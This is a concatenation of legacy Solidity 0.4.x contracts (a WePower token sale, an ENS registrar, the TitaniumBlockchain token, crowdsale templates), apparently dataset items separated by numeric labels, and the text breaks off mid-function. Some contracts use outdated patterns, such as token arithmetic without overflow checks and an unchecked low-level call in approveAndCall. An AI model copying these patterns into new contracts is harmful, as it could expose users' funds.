pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ExchangerI { ERC20Basic public wpr; function collect(address caller) public; } contract TokenController { function proxyPayment(address _owner) payable returns(bool); function onTransfer(address _from, address _to, uint _amount) returns(bool); function onApprove(address _owner, address _spender, uint _amount) returns(bool); } contract Controlled { modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() { controller = msg.sender;} function changeController(address _newController) onlyController { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data); } contract MiniMeToken is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.1'; struct Checkpoint { uint128 fromBlock; uint128 value; } MiniMeToken public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } function transferFrom(address _from, address _to, uint256 _amount ) returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } function doTransfer(address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); require((_to != 0) && (_to != address(this))); var previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) returns (bool success) { require(transfersEnabled); require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) internal returns (uint) { return a < b ? a : b; } function () payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract WPR is MintableToken, PausableToken { string constant public name = "WePower Token"; string constant public symbol = "WPR"; uint constant public decimals = 18; function WPR() { } function claimTokens(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); function disown() public onlyOwner { OwnershipTransferred(owner, address(0)); owner = address(0); } } contract Contribution is Ownable { using SafeMath for uint256; WPR public wpr; address public contributionWallet; address public teamHolder; address public communityHolder; address public futureHolder; address public exchanger; uint256 public totalCollected; uint256 public totalWeiCap; uint256 public totalWeiCollected; uint256 public presaleTokensIssued; uint256 public minimumPerTransaction = 0.01 ether; uint256 public numWhitelistedInvestors; mapping (address => bool) public canPurchase; mapping (address => uint256) public individualWeiCollected; uint256 public startTime; uint256 public endTime; uint256 public initializedTime; uint256 public finalizedTime; uint256 public initializedBlock; uint256 public finalizedBlock; bool public paused; modifier initialized() { require(initializedBlock != 0); _; } modifier contributionOpen() { require(getBlockTimestamp() >= startTime && getBlockTimestamp() <= endTime && finalizedTime == 0); _; } modifier notPaused() { require(!paused); _; } function Contribution(address _wpr) { require(_wpr != 0x0); wpr = WPR(_wpr); } function initialize( address _wct1, address _wct2, address _exchanger, address _contributionWallet, address _futureHolder, address _teamHolder, address _communityHolder, uint256 _totalWeiCap, uint256 _startTime, uint256 _endTime ) public onlyOwner { require(initializedBlock == 0); require(initializedTime == 0); assert(wpr.totalSupply() == 0); assert(wpr.owner() == address(this)); assert(wpr.decimals() == 18); wpr.pause(); require(_contributionWallet != 0x0); contributionWallet = _contributionWallet; require(_futureHolder != 0x0); futureHolder = _futureHolder; require(_teamHolder != 0x0); teamHolder = _teamHolder; require(_communityHolder != 0x0); communityHolder = _communityHolder; require(_startTime >= getBlockTimestamp()); require(_startTime < _endTime); startTime = _startTime; endTime = _endTime; require(_totalWeiCap > 0); totalWeiCap = _totalWeiCap; initializedBlock = getBlockNumber(); initializedTime = getBlockTimestamp(); require(_wct1 != 0x0); require(_wct2 != 0x0); require(_exchanger != 0x0); presaleTokensIssued = MiniMeToken(_wct1).totalSupplyAt(initializedBlock); presaleTokensIssued = presaleTokensIssued.add( MiniMeToken(_wct2).totalSupplyAt(initializedBlock) ); require(wpr.mint(_exchanger, presaleTokensIssued.mul(10000))); exchanger = _exchanger; Initialized(initializedBlock); } function blacklistAddresses(address[] _investors) public onlyOwner { for (uint256 i = 0; i < _investors.length; i++) { blacklist(_investors[i]); } } function isWhitelisted(address _investor) public onlyOwner constant returns(bool) { return canPurchase[_investor]; } function whitelistAddresses(address[] _investors) public onlyOwner { for (uint256 i = 0; i < _investors.length; i++) { whitelist(_investors[i]); } } function whitelist(address investor) public onlyOwner { if (canPurchase[investor]) return; numWhitelistedInvestors++; canPurchase[investor] = true; } function blacklist(address investor) public onlyOwner { if (!canPurchase[investor]) return; numWhitelistedInvestors--; canPurchase[investor] = false; } function exchangeRate() constant public initialized returns (uint256) { return 8000; } function tokensToGenerate(uint256 toFund) internal returns (uint256 generatedTokens) { generatedTokens = toFund.mul(exchangeRate()); } function () public payable notPaused { proxyPayment(msg.sender); } function proxyPayment(address _th) public payable notPaused initialized contributionOpen returns (bool) { require(_th != 0x0); if (msg.value == 0) { wpr.unpause(); ExchangerI(exchanger).collect(_th); wpr.pause(); } else { doBuy(_th); } return true; } function doBuy(address _th) internal { require(canPurchase[_th]); require(msg.value >= minimumPerTransaction); uint256 toFund = msg.value; uint256 toCollect = weiToCollectByInvestor(_th); require(toCollect > 0); if (toFund > toCollect) { toFund = toCollect; } uint256 tokensGenerated = tokensToGenerate(toFund); require(tokensGenerated > 0); require(wpr.mint(_th, tokensGenerated)); contributionWallet.transfer(toFund); totalCollected = totalCollected.add(toFund); individualWeiCollected[_th] = individualWeiCollected[_th].add(toFund); totalWeiCollected = totalWeiCollected.add(toFund); NewSale(_th, toFund, tokensGenerated); uint256 toReturn = msg.value.sub(toFund); if (toReturn > 0) { _th.transfer(toReturn); } } function finalize() public initialized { require(finalizedBlock == 0); require(finalizedTime == 0); require(getBlockTimestamp() >= startTime); require(msg.sender == owner || getBlockTimestamp() > endTime || weiToCollect() == 0); uint CROWDSALE_PCT = 62; uint TEAMHOLDER_PCT = 20; uint COMMUNITYHOLDER_PCT = 15; uint FUTUREHOLDER_PCT = 3; assert(CROWDSALE_PCT + TEAMHOLDER_PCT + COMMUNITYHOLDER_PCT + FUTUREHOLDER_PCT == 100); uint256 tokenCap = wpr.totalSupply().mul(100).div(CROWDSALE_PCT); wpr.mint(teamHolder, tokenCap.mul(TEAMHOLDER_PCT).div(100)); wpr.mint(communityHolder, tokenCap.mul(COMMUNITYHOLDER_PCT).div(100)); wpr.mint(futureHolder, tokenCap.mul(FUTUREHOLDER_PCT).div(100)); require(wpr.finishMinting()); wpr.transferOwnership(owner); finalizedBlock = getBlockNumber(); finalizedTime = getBlockTimestamp(); Finalized(finalizedBlock); } function weiToCollect() public constant returns(uint256) { return totalWeiCap > totalWeiCollected ? totalWeiCap.sub(totalWeiCollected) : 0; } function weiToCollectByInvestor(address investor) public constant returns(uint256) { uint256 cap; uint256 collected; if (getBlockTimestamp() <= startTime + 5 hours) { cap = totalWeiCap.div(numWhitelistedInvestors); collected = individualWeiCollected[investor]; } else { cap = totalWeiCap; collected = totalWeiCollected; } return cap > collected ? cap.sub(collected) : 0; } function getBlockNumber() internal constant returns (uint256) { return block.number; } function getBlockTimestamp() internal constant returns (uint256) { return block.timestamp; } function setTotalCollected(uint _totalCollected) public onlyOwner { totalCollected = _totalCollected; } function claimTokens(address _token) public onlyOwner { if (wpr.owner() == address(this)) { wpr.claimTokens(_token); } if (_token == 0x0) { owner.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } function pauseContribution(bool _paused) onlyOwner { paused = _paused; } event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount); event NewSale(address indexed _th, uint256 _amount, uint256 _tokens); event Initialized(uint _now); event Finalized(uint _now); } contract Exchanger is ExchangerI, Ownable { using SafeMath for uint256; mapping (address => uint256) public collected; uint256 public totalCollected; MiniMeToken public wct1; MiniMeToken public wct2; Contribution public contribution; function Exchanger(address _wct1, address _wct2, address _wpr, address _contribution) { wct1 = MiniMeToken(_wct1); wct2 = MiniMeToken(_wct2); wpr = ERC20Basic(_wpr); contribution = Contribution(_contribution); } function () public { if (contribution.finalizedBlock() == 0) { contribution.proxyPayment(msg.sender); } else { collect(msg.sender); } } function collect(address caller) public { require(getBlockTimestamp() > contribution.startTime()); uint256 pre_sale_fixed_at = contribution.initializedBlock(); uint256 balance = wct1.balanceOfAt(caller, pre_sale_fixed_at); balance = balance.add(wct2.balanceOfAt(caller, pre_sale_fixed_at)); uint256 totalSupplied = wct1.totalSupplyAt(pre_sale_fixed_at); totalSupplied = totalSupplied.add(wct2.totalSupplyAt(pre_sale_fixed_at)); uint256 total = totalCollected.add(wpr.balanceOf(address(this))); assert(totalSupplied > 0); uint256 amount = total.mul(balance).div(totalSupplied); amount = amount.sub(collected[caller]); require(amount > 0); totalCollected = totalCollected.add(amount); collected[caller] = collected[caller].add(amount); require(wpr.transfer(caller, amount)); TokensCollected(caller, amount); } function getBlockNumber() internal constant returns (uint256) { return block.number; } function getBlockTimestamp() internal constant returns (uint256) { return block.timestamp; } function claimTokens(address _token) public onlyOwner { assert(_token != address(wpr)); if (_token == 0x0) { owner.transfer(this.balance); return; } ERC20 token = ERC20(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount); event TokensCollected(address indexed _holder, uint256 _amount); }
1
3,695
pragma solidity ^0.4.20; interface SvEns { event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); event Transfer(bytes32 indexed node, address owner); event NewResolver(bytes32 indexed node, address resolver); event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns (bytes32); function setResolver(bytes32 node, address resolver) external; function setOwner(bytes32 node, address owner) external; function setTTL(bytes32 node, uint64 ttl) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); } contract SvEnsCompatibleRegistrar { SvEns public ens; bytes32 public rootNode; mapping (bytes32 => bool) knownNodes; mapping (address => bool) admins; address public owner; modifier req(bool c) { require(c); _; } function SvEnsCompatibleRegistrar(SvEns ensAddr, bytes32 node) public { ens = ensAddr; rootNode = node; admins[msg.sender] = true; owner = msg.sender; } function addAdmin(address newAdmin) req(admins[msg.sender]) external { admins[newAdmin] = true; } function remAdmin(address oldAdmin) req(admins[msg.sender]) external { require(oldAdmin != msg.sender && oldAdmin != owner); admins[oldAdmin] = false; } function chOwner(address newOwner, bool remPrevOwnerAsAdmin) req(msg.sender == owner) external { if (remPrevOwnerAsAdmin) { admins[owner] = false; } owner = newOwner; admins[newOwner] = true; } function register(bytes32 subnode, address _owner) req(admins[msg.sender]) external { _setSubnodeOwner(subnode, _owner); } function registerName(string subnodeStr, address _owner) req(admins[msg.sender]) external { bytes32 subnode = keccak256(subnodeStr); _setSubnodeOwner(subnode, _owner); } function _setSubnodeOwner(bytes32 subnode, address _owner) internal { require(!knownNodes[subnode]); knownNodes[subnode] = true; ens.setSubnodeOwner(rootNode, subnode, _owner); } }
1
3,462
pragma solidity ^0.4.19; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract TitaniumBlockchain is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function TitaniumBlockchain( ) { balances[msg.sender] = 100000000; totalSupply = 100000000; name = "TitaniumBlockchain"; decimals = 0; symbol = "TBAR"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
3,623
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract MintedCrowdsale is Crowdsale { function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract TimedPresaleCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public presaleOpeningTime; uint256 public presaleClosingTime; uint256 public bonusUnlockTime; event CrowdsaleTimesChanged(uint256 presaleOpeningTime, uint256 presaleClosingTime, uint256 openingTime, uint256 closingTime); modifier onlyWhileOpen { require(isPresale() || isSale()); _; } constructor(uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime) public TimedCrowdsale(_openingTime, _closingTime) { changeTimes(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime); } function changeTimes(uint256 _presaleOpeningTime, uint256 _presaleClosingTime, 